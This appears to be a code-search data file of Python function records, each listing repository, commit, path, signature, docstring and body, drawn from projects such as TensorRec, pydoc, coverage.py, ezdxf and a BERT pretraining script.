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jorgebastida/gordon | 4c1cd0c4dea2499d98115672095714592f80f7aa | examples/apigateway/helloworld/hellopy.py | python | handler | (event, context) | return "Hello from python!" | [] | def handler(event, context):
return "Hello from python!" | [
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Source-Python-Dev-Team/Source.Python | d0ffd8ccbd1e9923c9bc44936f20613c1c76b7fb | addons/source-python/Python3/datetime.py | python | _ord2ymd | (n) | return year, month, n+1 | ordinal -> (year, month, day), considering 01-Jan-0001 as day 1. | ordinal -> (year, month, day), considering 01-Jan-0001 as day 1. | [
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"ordinal -> (year, month, day), considering 01-Jan-0001 as day 1."
# n is a 1-based index, starting at 1-Jan-1. The pattern of leap years
# repeats exactly every 400 years. The basic strategy is to find the
# closest 400-year boundary at or before n, then work with the offset
# from that boundary to n. Life is much clearer if we subtract 1 from
# n first -- then the values of n at 400-year boundaries are exactly
# those divisible by _DI400Y:
#
# D M Y n n-1
# -- --- ---- ---------- ----------------
# 31 Dec -400 -_DI400Y -_DI400Y -1
# 1 Jan -399 -_DI400Y +1 -_DI400Y 400-year boundary
# ...
# 30 Dec 000 -1 -2
# 31 Dec 000 0 -1
# 1 Jan 001 1 0 400-year boundary
# 2 Jan 001 2 1
# 3 Jan 001 3 2
# ...
# 31 Dec 400 _DI400Y _DI400Y -1
# 1 Jan 401 _DI400Y +1 _DI400Y 400-year boundary
n -= 1
n400, n = divmod(n, _DI400Y)
year = n400 * 400 + 1 # ..., -399, 1, 401, ...
# Now n is the (non-negative) offset, in days, from January 1 of year, to
# the desired date. Now compute how many 100-year cycles precede n.
# Note that it's possible for n100 to equal 4! In that case 4 full
# 100-year cycles precede the desired day, which implies the desired
# day is December 31 at the end of a 400-year cycle.
n100, n = divmod(n, _DI100Y)
# Now compute how many 4-year cycles precede it.
n4, n = divmod(n, _DI4Y)
# And now how many single years. Again n1 can be 4, and again meaning
# that the desired day is December 31 at the end of the 4-year cycle.
n1, n = divmod(n, 365)
year += n100 * 100 + n4 * 4 + n1
if n1 == 4 or n100 == 4:
assert n == 0
return year-1, 12, 31
# Now the year is correct, and n is the offset from January 1. We find
# the month via an estimate that's either exact or one too large.
leapyear = n1 == 3 and (n4 != 24 or n100 == 3)
assert leapyear == _is_leap(year)
month = (n + 50) >> 5
preceding = _DAYS_BEFORE_MONTH[month] + (month > 2 and leapyear)
if preceding > n: # estimate is too large
month -= 1
preceding -= _DAYS_IN_MONTH[month] + (month == 2 and leapyear)
n -= preceding
assert 0 <= n < _days_in_month(year, month)
# Now the year and month are correct, and n is the offset from the
# start of that month: we're done!
return year, month, n+1 | [
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IronLanguages/ironpython3 | 7a7bb2a872eeab0d1009fc8a6e24dca43f65b693 | Src/StdLib/Lib/ctypes/__init__.py | python | CFUNCTYPE | (restype, *argtypes, **kw) | CFUNCTYPE(restype, *argtypes,
use_errno=False, use_last_error=False) -> function prototype.
restype: the result type
argtypes: a sequence specifying the argument types
The function prototype can be called in different ways to create a
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prototype(integer address) -> foreign function
prototype(callable) -> create and return a C callable function from callable
prototype(integer index, method name[, paramflags]) -> foreign function calling a COM method
prototype((ordinal number, dll object)[, paramflags]) -> foreign function exported by ordinal
prototype((function name, dll object)[, paramflags]) -> foreign function exported by name | CFUNCTYPE(restype, *argtypes,
use_errno=False, use_last_error=False) -> function prototype. | [
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"""CFUNCTYPE(restype, *argtypes,
use_errno=False, use_last_error=False) -> function prototype.
restype: the result type
argtypes: a sequence specifying the argument types
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prototype(integer address) -> foreign function
prototype(callable) -> create and return a C callable function from callable
prototype(integer index, method name[, paramflags]) -> foreign function calling a COM method
prototype((ordinal number, dll object)[, paramflags]) -> foreign function exported by ordinal
prototype((function name, dll object)[, paramflags]) -> foreign function exported by name
"""
flags = _FUNCFLAG_CDECL
if kw.pop("use_errno", False):
flags |= _FUNCFLAG_USE_ERRNO
if kw.pop("use_last_error", False):
flags |= _FUNCFLAG_USE_LASTERROR
if kw:
raise ValueError("unexpected keyword argument(s) %s" % kw.keys())
try:
return _c_functype_cache[(restype, argtypes, flags)]
except KeyError:
class CFunctionType(_CFuncPtr):
_argtypes_ = argtypes
_restype_ = restype
_flags_ = flags
_c_functype_cache[(restype, argtypes, flags)] = CFunctionType
return CFunctionType | [
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IJDykeman/wangTiles | 7c1ee2095ebdf7f72bce07d94c6484915d5cae8b | experimental_code/tiles_3d/venv/lib/python2.7/site-packages/pip/util.py | python | is_installable_dir | (path) | return False | Return True if `path` is a directory containing a setup.py file. | Return True if `path` is a directory containing a setup.py file. | [
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"""Return True if `path` is a directory containing a setup.py file."""
if not os.path.isdir(path):
return False
setup_py = os.path.join(path, 'setup.py')
if os.path.isfile(setup_py):
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hhursev/recipe-scrapers | 478b9ddb0dda02b17b14f299eea729bef8131aa9 | recipe_scrapers/sunbasket.py | python | SunBasket.title | (self) | return self.soup.find("h1").get_text() | [] | def title(self):
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jfkirk/tensorrec | 80690737ac039a5b41fc99e67372c4f67d8cfc51 | tensorrec/tensorrec.py | python | TensorRec.__init__ | (self,
n_components=100,
n_tastes=1,
user_repr_graph=LinearRepresentationGraph(),
item_repr_graph=LinearRepresentationGraph(),
attention_graph=None,
prediction_graph=DotProductPredictionGraph(),
loss_graph=RMSELossGraph(),
biased=True,) | A TensorRec recommendation model.
:param n_components: Integer
The dimension of a single output of the representation function. Must be >= 1.
:param n_tastes: Integer
The number of tastes/reprs to be calculated for each user. Must be >= 1.
:param user_repr_graph: AbstractRepresentationGraph
An object which inherits AbstractRepresentationGraph that contains a method to calculate user representations.
See tensorrec.representation_graphs for examples.
:param item_repr_graph: AbstractRepresentationGraph
An object which inherits AbstractRepresentationGraph that contains a method to calculate item representations.
See tensorrec.representation_graphs for examples.
:param attention_graph: AbstractRepresentationGraph or None
Optional. An object which inherits AbstractRepresentationGraph that contains a method to calculate user
attention. Any valid repr_graph is also a valid attention graph. If None, no attention process will be applied.
:param prediction_graph: AbstractPredictionGraph
An object which inherits AbstractPredictionGraph that contains a method to calculate predictions from a pair of
user/item reprs.
See tensorrec.prediction_graphs for examples.
:param loss_graph: AbstractLossGraph
An object which inherits AbstractLossGraph that contains a method to calculate the loss function.
See tensorrec.loss_graphs for examples.
:param biased: bool
If True, a bias value will be calculated for every user feature and item feature. | A TensorRec recommendation model.
:param n_components: Integer
The dimension of a single output of the representation function. Must be >= 1.
:param n_tastes: Integer
The number of tastes/reprs to be calculated for each user. Must be >= 1.
:param user_repr_graph: AbstractRepresentationGraph
An object which inherits AbstractRepresentationGraph that contains a method to calculate user representations.
See tensorrec.representation_graphs for examples.
:param item_repr_graph: AbstractRepresentationGraph
An object which inherits AbstractRepresentationGraph that contains a method to calculate item representations.
See tensorrec.representation_graphs for examples.
:param attention_graph: AbstractRepresentationGraph or None
Optional. An object which inherits AbstractRepresentationGraph that contains a method to calculate user
attention. Any valid repr_graph is also a valid attention graph. If None, no attention process will be applied.
:param prediction_graph: AbstractPredictionGraph
An object which inherits AbstractPredictionGraph that contains a method to calculate predictions from a pair of
user/item reprs.
See tensorrec.prediction_graphs for examples.
:param loss_graph: AbstractLossGraph
An object which inherits AbstractLossGraph that contains a method to calculate the loss function.
See tensorrec.loss_graphs for examples.
:param biased: bool
If True, a bias value will be calculated for every user feature and item feature. | [
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item_repr_graph=LinearRepresentationGraph(),
attention_graph=None,
prediction_graph=DotProductPredictionGraph(),
loss_graph=RMSELossGraph(),
biased=True,):
"""
A TensorRec recommendation model.
:param n_components: Integer
The dimension of a single output of the representation function. Must be >= 1.
:param n_tastes: Integer
The number of tastes/reprs to be calculated for each user. Must be >= 1.
:param user_repr_graph: AbstractRepresentationGraph
An object which inherits AbstractRepresentationGraph that contains a method to calculate user representations.
See tensorrec.representation_graphs for examples.
:param item_repr_graph: AbstractRepresentationGraph
An object which inherits AbstractRepresentationGraph that contains a method to calculate item representations.
See tensorrec.representation_graphs for examples.
:param attention_graph: AbstractRepresentationGraph or None
Optional. An object which inherits AbstractRepresentationGraph that contains a method to calculate user
attention. Any valid repr_graph is also a valid attention graph. If None, no attention process will be applied.
:param prediction_graph: AbstractPredictionGraph
An object which inherits AbstractPredictionGraph that contains a method to calculate predictions from a pair of
user/item reprs.
See tensorrec.prediction_graphs for examples.
:param loss_graph: AbstractLossGraph
An object which inherits AbstractLossGraph that contains a method to calculate the loss function.
See tensorrec.loss_graphs for examples.
:param biased: bool
If True, a bias value will be calculated for every user feature and item feature.
"""
# Check TensorFlow version
major, minor, patch = tf.__version__.split(".")
if int(major) < 1 or int(major) == 1 and int(minor) < 7:
raise TfVersionException(tf_version=tf.__version__)
# Arg Check
if (n_components is None) or (n_tastes is None) or (user_repr_graph is None) or (item_repr_graph is None) \
or (prediction_graph is None) or (loss_graph is None):
raise ValueError("All arguments to TensorRec() must be non-None")
if n_components < 1:
raise ValueError("n_components must be >= 1")
if n_tastes < 1:
raise ValueError("n_tastes must be >= 1")
if not isinstance(user_repr_graph, AbstractRepresentationGraph):
raise ValueError("user_repr_graph must inherit AbstractRepresentationGraph")
if not isinstance(item_repr_graph, AbstractRepresentationGraph):
raise ValueError("item_repr_graph must inherit AbstractRepresentationGraph")
if not isinstance(prediction_graph, AbstractPredictionGraph):
raise ValueError("prediction_graph must inherit AbstractPredictionGraph")
if not isinstance(loss_graph, AbstractLossGraph):
raise ValueError("loss_graph must inherit AbstractLossGraph")
if attention_graph is not None:
if not isinstance(attention_graph, AbstractRepresentationGraph):
raise ValueError("attention_graph must be None or inherit AbstractRepresentationGraph")
if n_tastes == 1:
raise ValueError("attention_graph must be None if n_tastes == 1")
self.n_components = n_components
self.n_tastes = n_tastes
self.user_repr_graph_factory = user_repr_graph
self.item_repr_graph_factory = item_repr_graph
self.attention_graph_factory = attention_graph
self.prediction_graph_factory = prediction_graph
self.loss_graph_factory = loss_graph
self.biased = biased
# A list of the attr names of every graph hook attr
self.graph_tensor_hook_attr_names = [
# Top-level API nodes
'tf_user_representation', 'tf_item_representation', 'tf_prediction_serial', 'tf_prediction', 'tf_rankings',
'tf_predict_similar_items', 'tf_rank_similar_items',
# Training nodes
'tf_basic_loss', 'tf_weight_reg_loss', 'tf_loss',
# Feed placeholders
'tf_learning_rate', 'tf_alpha', 'tf_sample_indices', 'tf_n_sampled_items', 'tf_similar_items_ids',
]
if self.biased:
self.graph_tensor_hook_attr_names += ['tf_projected_user_biases', 'tf_projected_item_biases']
if self.attention_graph_factory is not None:
self.graph_tensor_hook_attr_names += ['tf_user_attention_representation']
self.graph_operation_hook_attr_names = [
# AdamOptimizer
'tf_optimizer',
]
self.graph_iterator_hook_attr_names = [
# Input data iterators
'tf_user_feature_iterator', 'tf_item_feature_iterator', 'tf_interaction_iterator',
]
# Calling the break routine during __init__ creates all the attrs on the TensorRec object with an initial value
# of None
self._break_graph_hooks()
# A map of every graph hook attr name to the node name after construction
# Tensors and operations are stored separated because they are handled differently by TensorFlow
self.graph_tensor_hook_node_names = {}
self.graph_operation_hook_node_names = {}
self.graph_iterator_hook_node_names = {} | [
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eth-sri/eran | 973e3b52d297d079d5402edec8f7922d824b8cc2 | tf_verify/deepzono_nodes.py | python | DeepzonoConvbias.__init__ | (self, image_shape, filters, bias, strides, pad_top, pad_left, pad_bottom, pad_right, input_names, output_name, output_shape) | Arguments
---------
image_shape : numpy.ndarray
of shape [height, width, channels]
filters : numpy.ndarray
the 4D array with the filter weights
bias : numpy.ndarray
array with the bias (has to have as many elements as the filter has out channels)
strides : numpy.ndarray
of shape [height, width]
padding : str
type of padding, either 'VALID' or 'SAME'
input_names : iterable
iterable with the name of the second addend
output_name : str
name of this node's output
output_shape : iterable
iterable of ints with the shape of the output of this node | Arguments
---------
image_shape : numpy.ndarray
of shape [height, width, channels]
filters : numpy.ndarray
the 4D array with the filter weights
bias : numpy.ndarray
array with the bias (has to have as many elements as the filter has out channels)
strides : numpy.ndarray
of shape [height, width]
padding : str
type of padding, either 'VALID' or 'SAME'
input_names : iterable
iterable with the name of the second addend
output_name : str
name of this node's output
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filters : numpy.ndarray
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DeepzonoConv.__init__(self, image_shape, filters, strides, pad_top, pad_left, pad_bottom, pad_right, input_names, output_name, output_shape)
self.bias = np.ascontiguousarray(bias, dtype=np.double) | [
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naparuba/shinken | 8163d645e801fa43ee1704f099a4684f120e667b | shinken/objects/service.py | python | Services.explode_services_duplicates | (self, hosts, s) | Explodes services holding a `duplicate_foreach` clause.
:param hosts: The hosts container
:param s: The service to explode
:type s: Service | Explodes services holding a `duplicate_foreach` clause. | [
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"""
Explodes services holding a `duplicate_foreach` clause.
:param hosts: The hosts container
:param s: The service to explode
:type s: Service
"""
hname = getattr(s, "host_name", None)
if hname is None:
return
# the generator case, we must create several new services
# we must find our host, and get all key:value we need
h = hosts.find_by_name(hname.strip())
if h is None:
err = 'Error: The hostname %s is unknown for the ' \
'service %s!' % (hname, s.get_name())
s.configuration_errors.append(err)
return
# Duplicate services
for new_s in s.duplicate(h):
if h.is_excluded_for(new_s):
continue
# Adds concrete instance
self.add_item(new_s) | [
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CLUEbenchmark/CLUEPretrainedModels | b384fd41665a8261f9c689c940cf750b3bc21fce | create_pretraining_data.py | python | create_masked_lm_predictions | (tokens, masked_lm_prob,
max_predictions_per_seq, vocab_words, rng) | return (output_tokens, masked_lm_positions, masked_lm_labels) | Creates the predictions for the masked LM objective. | Creates the predictions for the masked LM objective. | [
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] | def create_masked_lm_predictions(tokens, masked_lm_prob,
max_predictions_per_seq, vocab_words, rng):
"""Creates the predictions for the masked LM objective."""
cand_indexes = []
for (i, token) in enumerate(tokens):
if token == "[CLS]" or token == "[SEP]":
continue
# Whole Word Masking means that if we mask all of the wordpieces
# corresponding to an original word. When a word has been split into
# WordPieces, the first token does not have any marker and any subsequence
# tokens are prefixed with ##. So whenever we see the ## token, we
# append it to the previous set of word indexes.
#
# Note that Whole Word Masking does *not* change the training code
# at all -- we still predict each WordPiece independently, softmaxed
# over the entire vocabulary.
if (FLAGS.do_whole_word_mask and len(cand_indexes) >= 1 and
token.startswith("##")):
cand_indexes[-1].append(i)
else:
cand_indexes.append([i])
rng.shuffle(cand_indexes)
output_tokens = list(tokens)
num_to_predict = min(max_predictions_per_seq,
max(1, int(round(len(tokens) * masked_lm_prob))))
masked_lms = []
covered_indexes = set()
for index_set in cand_indexes:
if len(masked_lms) >= num_to_predict:
break
# If adding a whole-word mask would exceed the maximum number of
# predictions, then just skip this candidate.
if len(masked_lms) + len(index_set) > num_to_predict:
continue
is_any_index_covered = False
for index in index_set:
if index in covered_indexes:
is_any_index_covered = True
break
if is_any_index_covered:
continue
for index in index_set:
covered_indexes.add(index)
masked_token = None
# 80% of the time, replace with [MASK]
if rng.random() < 0.8:
masked_token = "[MASK]"
else:
# 10% of the time, keep original
if rng.random() < 0.5:
masked_token = tokens[index]
# 10% of the time, replace with random word
else:
masked_token = vocab_words[rng.randint(0, len(vocab_words) - 1)]
output_tokens[index] = masked_token
masked_lms.append(MaskedLmInstance(index=index, label=tokens[index]))
assert len(masked_lms) <= num_to_predict
masked_lms = sorted(masked_lms, key=lambda x: x.index)
masked_lm_positions = []
masked_lm_labels = []
for p in masked_lms:
masked_lm_positions.append(p.index)
masked_lm_labels.append(p.label)
return (output_tokens, masked_lm_positions, masked_lm_labels) | [
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Huangying-Zhan/DF-VO | 6a2ec43fc6209d9058ae1709d779c5ada68a31f3 | tools/evaluation/odometry/kitti_odometry.py | python | KittiEvalOdom.compute_RPE | (self, gt, pred) | return rpe_errors | Compute RPE
Args:
gt (dict): ground-truth poses as [4x4] array
pred (dict): predicted poses as [4x4] array
Returns:
trans_errors (list): list of rpe translation error
rot_errors (list): list of RPE rotation error | Compute RPE
Args:
gt (dict): ground-truth poses as [4x4] array
pred (dict): predicted poses as [4x4] array
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trans_errors (list): list of rpe translation error
rot_errors (list): list of RPE rotation error | [
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trans_errors (list): list of rpe translation error
rot_errors (list): list of RPE rotation error
"""
rpe_errors = {'trans': [], 'rot': []}
pred_keys = list(pred.keys())
for cnt in range(len(pred_keys)-1):
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gt2 = gt[pred_keys[cnt+1]]
gt_rel = np.linalg.inv(gt1) @ gt2
pred1 = pred[pred_keys[cnt]]
pred2 = pred[pred_keys[cnt+1]]
pred_rel = np.linalg.inv(pred1) @ pred2
rel_err = np.linalg.inv(gt_rel) @ pred_rel
rpe_errors['trans'].append(self.translation_error(rel_err))
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GoogleCloudPlatform/cloudml-samples | efddc4a9898127e55edc0946557aca4bfaf59705 | sklearn/sklearn-template/template/trainer/task.py | python | run_experiment | (flags) | Testbed for running model training and evaluation. | Testbed for running model training and evaluation. | [
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"""Testbed for running model training and evaluation."""
# Get data for training and evaluation
dataset = utils.read_df_from_bigquery(
flags.input, num_samples=flags.num_samples)
# Get model
estimator = model.get_estimator(flags)
# Run training and evaluation
_train_and_evaluate(estimator, dataset, flags.job_dir) | [
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agoragames/leaderboard-python | 4bc028164c259c3a31c7e6ccb2a8ecb83cfb1da2 | leaderboard/leaderboard.py | python | Leaderboard.rank_member | (self, member, score, member_data=None) | Rank a member in the leaderboard.
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Rank a member in the leaderboard.
@param member [String] Member name.
@param score [float] Member score.
@param member_data [String] Optional member data.
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securesystemslab/zippy | ff0e84ac99442c2c55fe1d285332cfd4e185e089 | zippy/lib-python/3/pydoc.py | python | TextDoc.docmodule | (self, object, name=None, mod=None) | return result | Produce text documentation for a given module object. | Produce text documentation for a given module object. | [
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"""Produce text documentation for a given module object."""
name = object.__name__ # ignore the passed-in name
synop, desc = splitdoc(getdoc(object))
result = self.section('NAME', name + (synop and ' - ' + synop))
all = getattr(object, '__all__', None)
docloc = self.getdocloc(object)
if docloc is not None:
result = result + self.section('MODULE REFERENCE', docloc + """
The following documentation is automatically generated from the Python
source files. It may be incomplete, incorrect or include features that
are considered implementation detail and may vary between Python
implementations. When in doubt, consult the module reference at the
location listed above.
""")
if desc:
result = result + self.section('DESCRIPTION', desc)
classes = []
for key, value in inspect.getmembers(object, inspect.isclass):
# if __all__ exists, believe it. Otherwise use old heuristic.
if (all is not None
or (inspect.getmodule(value) or object) is object):
if visiblename(key, all, object):
classes.append((key, value))
funcs = []
for key, value in inspect.getmembers(object, inspect.isroutine):
# if __all__ exists, believe it. Otherwise use old heuristic.
if (all is not None or
inspect.isbuiltin(value) or inspect.getmodule(value) is object):
if visiblename(key, all, object):
funcs.append((key, value))
data = []
for key, value in inspect.getmembers(object, isdata):
if visiblename(key, all, object):
data.append((key, value))
modpkgs = []
modpkgs_names = set()
if hasattr(object, '__path__'):
for importer, modname, ispkg in pkgutil.iter_modules(object.__path__):
modpkgs_names.add(modname)
if ispkg:
modpkgs.append(modname + ' (package)')
else:
modpkgs.append(modname)
modpkgs.sort()
result = result + self.section(
'PACKAGE CONTENTS', '\n'.join(modpkgs))
# Detect submodules as sometimes created by C extensions
submodules = []
for key, value in inspect.getmembers(object, inspect.ismodule):
if value.__name__.startswith(name + '.') and key not in modpkgs_names:
submodules.append(key)
if submodules:
submodules.sort()
result = result + self.section(
'SUBMODULES', '\n'.join(submodules))
if classes:
classlist = [value for key, value in classes]
contents = [self.formattree(
inspect.getclasstree(classlist, 1), name)]
for key, value in classes:
contents.append(self.document(value, key, name))
result = result + self.section('CLASSES', '\n'.join(contents))
if funcs:
contents = []
for key, value in funcs:
contents.append(self.document(value, key, name))
result = result + self.section('FUNCTIONS', '\n'.join(contents))
if data:
contents = []
for key, value in data:
contents.append(self.docother(value, key, name, maxlen=70))
result = result + self.section('DATA', '\n'.join(contents))
if hasattr(object, '__version__'):
version = str(object.__version__)
if version[:11] == '$' + 'Revision: ' and version[-1:] == '$':
version = version[11:-1].strip()
result = result + self.section('VERSION', version)
if hasattr(object, '__date__'):
result = result + self.section('DATE', str(object.__date__))
if hasattr(object, '__author__'):
result = result + self.section('AUTHOR', str(object.__author__))
if hasattr(object, '__credits__'):
result = result + self.section('CREDITS', str(object.__credits__))
try:
file = inspect.getabsfile(object)
except TypeError:
file = '(built-in)'
result = result + self.section('FILE', file)
return result | [
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pyrocko/pyrocko | b6baefb7540fb7fce6ed9b856ec0c413961a4320 | src/moment_tensor.py | python | MomentTensor.m6_up_south_east | (self) | return to6(self.m_up_south_east()) | Get moment tensor in up-south-east convention as a six-element array.
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'''
Get moment tensor in up-south-east convention as a six-element array.
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return to6(self.m_up_south_east()) | [
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home-assistant/core | 265ebd17a3f17ed8dc1e9bdede03ac8e323f1ab1 | homeassistant/components/screenlogic/sensor.py | python | ScreenLogicChemistrySensor.sensor | (self) | return self.coordinator.data[SL_DATA.KEY_CHEMISTRY][self._key] | Shortcut to access the pump sensor data. | Shortcut to access the pump sensor data. | [
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nsacyber/WALKOFF | 52d3311abe99d64cd2a902eb998c5e398efe0e07 | api_gateway/serverdb/role.py | python | Role.__init__ | (self, name, description='', resources=None) | Initializes a Role object. Each user has one or more Roles associated with it, which determines the user's
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Args:
name (str): The name of the Role.
description (str, optional): A description of the role.
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name (str): The name of the Role.
description (str, optional): A description of the role.
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self.name = name
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un33k/django-ipware | 335a5683cca50ab743882d0a59a1ef4403341ac0 | ipware/utils.py | python | get_ip_info | (ip_str) | return ip, is_routable_ip | Given a string, it returns a tuple of (IP, Routable). | Given a string, it returns a tuple of (IP, Routable). | [
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clean_ip = cleanup_ip(ip_str)
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is_routable_ip = is_public_ip(ip)
return ip, is_routable_ip | [
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huggingface/transformers | 623b4f7c63f60cce917677ee704d6c93ee960b4b | src/transformers/models/hubert/modeling_tf_hubert.py | python | TFHubertLayerNormConvLayer.call | (self, hidden_states: tf.Tensor) | return hidden_states | [] | def call(self, hidden_states: tf.Tensor) -> tf.Tensor:
hidden_states = self.conv(hidden_states)
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golismero/golismero | 7d605b937e241f51c1ca4f47b20f755eeefb9d76 | thirdparty_libs/nltk/stem/porter.py | python | PorterStemmer.setto | (self, s) | setto(s) sets (j+1),...k to the characters in the string s, readjusting k. | setto(s) sets (j+1),...k to the characters in the string s, readjusting k. | [
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PyCQA/pylint | 3fc855f9d0fa8e6410be5a23cf954ffd5471b4eb | pylint/checkers/utils.py | python | find_except_wrapper_node_in_scope | (
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for current in node.node_ancestors():
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larryhastings/gilectomy | 4315ec3f1d6d4f813cc82ce27a24e7f784dbfc1a | Lib/tkinter/__init__.py | python | Text.__init__ | (self, master=None, cnf={}, **kw) | Construct a text widget with the parent MASTER.
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nanoporetech/tombo | afdb4d87249806d3a171d009f948f5b8558d35a0 | tombo/tombo_helper.py | python | parse_locs_file | (locs_fn) | return dict((cs, np.array(sorted(cs_poss)))
for cs, cs_poss in raw_locs.items()) | Parse BED files containing genomic locations (assumes single base
locations, so end coordinate is ignored). | Parse BED files containing genomic locations (assumes single base
locations, so end coordinate is ignored). | [
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] | def parse_locs_file(locs_fn):
"""Parse BED files containing genomic locations (assumes single base
locations, so end coordinate is ignored).
"""
n_added, n_failed = 0, 0
raw_locs = defaultdict(set)
with open(locs_fn) as locs_fp:
for line in locs_fp:
try:
chrm, pos, _, _, _, strand = line.split()[:6]
# bed specs indicate 0-based start so don't shift here
pos = int(pos)
raw_locs[(chrm, strand)].add(pos)
n_added += 1
except:
n_failed += 1
continue
if n_failed > 0:
if n_added > 0:
warning_message((
'Some provided locations ({}) were incorrectly formatted. ' +
'Ensure that provided file ({}) is in BED format.').format(
n_failed, locs_fn))
else:
warning_message((
'All provided locations from {} were incorrectly formatted. ' +
'Ensure that provided file is in BED format.').format(
locs_fn))
return dict((cs, np.array(sorted(cs_poss)))
for cs, cs_poss in raw_locs.items()) | [
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AppScale/gts | 46f909cf5dc5ba81faf9d81dc9af598dcf8a82a9 | AppServer/lib/django-1.5/django/contrib/formtools/wizard/views.py | python | WizardView.get_step_index | (self, step=None) | return self.get_form_list().keyOrder.index(step) | Returns the index for the given `step` name. If no step is given,
the current step will be used to get the index. | Returns the index for the given `step` name. If no step is given,
the current step will be used to get the index. | [
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] | def get_step_index(self, step=None):
"""
Returns the index for the given `step` name. If no step is given,
the current step will be used to get the index.
"""
if step is None:
step = self.steps.current
return self.get_form_list().keyOrder.index(step) | [
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mozilla/mozillians | bd5da47fef01e4e09d3bb8cb0799735bdfbeb3f9 | mozillians/common/templatetags/helpers.py | python | field_with_attrs | (bfield, **kwargs) | return bfield | Allows templates to dynamically add html attributes to bound
fields from django forms.
Copied from bedrock. | Allows templates to dynamically add html attributes to bound
fields from django forms. | [
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] | def field_with_attrs(bfield, **kwargs):
"""Allows templates to dynamically add html attributes to bound
fields from django forms.
Copied from bedrock.
"""
if kwargs.get('label', None):
bfield.label = kwargs['label']
bfield.field.widget.attrs.update(kwargs)
return bfield | [
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mozman/ezdxf | 59d0fc2ea63f5cf82293428f5931da7e9f9718e9 | src/ezdxf/path/shapes.py | python | gear | (
count: int,
top_width: float,
bottom_width: float,
height: float,
outside_radius: float,
transform: Matrix44 = None,
) | return converter.from_vertices(vertices, close=True) | Returns a `gear <https://en.wikipedia.org/wiki/Gear>`_ (cogwheel) shape as
a :class:`Path` object, with the center at (0, 0, 0).
The base geometry is created by function :func:`ezdxf.render.forms.gear`.
.. warning::
This function does not create correct gears for mechanical engineering!
Args:
count: teeth count >= 3
top_width: teeth width at outside radius
bottom_width: teeth width at base radius
height: teeth height; base radius = outside radius - height
outside_radius: outside radius
transform: transformation Matrix applied to the gear shape | Returns a `gear <https://en.wikipedia.org/wiki/Gear>`_ (cogwheel) shape as
a :class:`Path` object, with the center at (0, 0, 0).
The base geometry is created by function :func:`ezdxf.render.forms.gear`. | [
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count: int,
top_width: float,
bottom_width: float,
height: float,
outside_radius: float,
transform: Matrix44 = None,
) -> Path:
"""
Returns a `gear <https://en.wikipedia.org/wiki/Gear>`_ (cogwheel) shape as
a :class:`Path` object, with the center at (0, 0, 0).
The base geometry is created by function :func:`ezdxf.render.forms.gear`.
.. warning::
This function does not create correct gears for mechanical engineering!
Args:
count: teeth count >= 3
top_width: teeth width at outside radius
bottom_width: teeth width at base radius
height: teeth height; base radius = outside radius - height
outside_radius: outside radius
transform: transformation Matrix applied to the gear shape
"""
vertices = forms.gear(
count, top_width, bottom_width, height, outside_radius
)
if transform is not None:
vertices = transform.transform_vertices(vertices)
return converter.from_vertices(vertices, close=True) | [
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ReactionMechanismGenerator/RMG-Py | 2b7baf51febf27157def58fb3f6cee03fb6a684c | arkane/ess/adapter.py | python | ESSAdapter.load_geometry | (self) | Return the optimum geometry of the molecular configuration.
If multiple such geometries are identified, only the last is returned. | Return the optimum geometry of the molecular configuration.
If multiple such geometries are identified, only the last is returned. | [
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] | def load_geometry(self):
"""
Return the optimum geometry of the molecular configuration.
If multiple such geometries are identified, only the last is returned.
"""
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nedbat/coveragepy | d004b18a1ad59ec89b89c96c03a789a55cc51693 | coverage/cmdline.py | python | unshell_list | (s) | return s.split(',') | Turn a command-line argument into a list. | Turn a command-line argument into a list. | [
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] | def unshell_list(s):
"""Turn a command-line argument into a list."""
if not s:
return None
if env.WINDOWS:
# When running coverage.py as coverage.exe, some of the behavior
# of the shell is emulated: wildcards are expanded into a list of
# file names. So you have to single-quote patterns on the command
# line, but (not) helpfully, the single quotes are included in the
# argument, so we have to strip them off here.
s = s.strip("'")
return s.split(',') | [
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makehumancommunity/makehuman | 8006cf2cc851624619485658bb933a4244bbfd7c | makehuman/lib/sorter.py | python | Sorter._getDecorated | (keyFn, objects) | return [
(keyFn(object), i, object)
for i, object in enumerate(objects)] | Static method that decorates the objects of a list
to tuples containing an orderable key generated
by applying keyFn on the objects, an index,
and the object.
:param keyFn: Ordering method (function that takes
an object as parameter and returns a corresponding
orderable key)
:type keyFn: function
:param objects: List of objects to be decorated
with orderable keys
:type objects: list
:return: List of decorated objects
:rtype: list of tuples | Static method that decorates the objects of a list
to tuples containing an orderable key generated
by applying keyFn on the objects, an index,
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] | def _getDecorated(keyFn, objects):
"""
Static method that decorates the objects of a list
to tuples containing an orderable key generated
by applying keyFn on the objects, an index,
and the object.
:param keyFn: Ordering method (function that takes
an object as parameter and returns a corresponding
orderable key)
:type keyFn: function
:param objects: List of objects to be decorated
with orderable keys
:type objects: list
:return: List of decorated objects
:rtype: list of tuples
"""
return [
(keyFn(object), i, object)
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SteveDoyle2/pyNastran | eda651ac2d4883d95a34951f8a002ff94f642a1a | pyNastran/bdf/cards/axisymmetric/axisymmetric.py | python | RINGFL.__init__ | (self, ringfl: int, xa: float, xb: float,
comment: str='') | Creates the RINGFL card | Creates the RINGFL card | [
"Creates",
"the",
"RINGFL",
"card"
] | def __init__(self, ringfl: int, xa: float, xb: float,
comment: str='') -> None: # this card has missing fields
"""
Creates the RINGFL card
"""
#Ring.__init__(self)
if comment:
self.comment = comment
self.ringfl = ringfl
self.xa = xa
self.xb = xb | [
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mozman/ezdxf | 59d0fc2ea63f5cf82293428f5931da7e9f9718e9 | src/ezdxf/entities/image.py | python | ImageBase.export_entity | (self, tagwriter: "TagWriter") | Export entity specific data as DXF tags. | Export entity specific data as DXF tags. | [
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] | def export_entity(self, tagwriter: "TagWriter") -> None:
"""Export entity specific data as DXF tags."""
super().export_entity(tagwriter)
tagwriter.write_tag2(SUBCLASS_MARKER, self._SUBCLASS_NAME)
self.dxf.count_boundary_points = len(self.boundary_path)
self.dxf.export_dxf_attribs(
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self.export_boundary_path(tagwriter)
if tagwriter.dxfversion >= DXF2010:
self.dxf.export_dxf_attribs(tagwriter, "clip_mode") | [
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andresriancho/w3af | cd22e5252243a87aaa6d0ddea47cf58dacfe00a9 | w3af/core/data/options/list_option.py | python | ListOption._get_str | (self, value) | [] | def _get_str(self, value):
if isinstance(value, list):
return ','.join([str(i) for i in value]) | [
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idanr1986/cuckoo-droid | 1350274639473d3d2b0ac740cae133ca53ab7444 | analyzer/android_on_linux/lib/api/androguard/dvm.py | python | FieldIdItem.get_class_idx | (self) | return self.class_idx | Return the index into the type_ids list for the definer of this field
:rtype: int | Return the index into the type_ids list for the definer of this field | [
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] | def get_class_idx(self) :
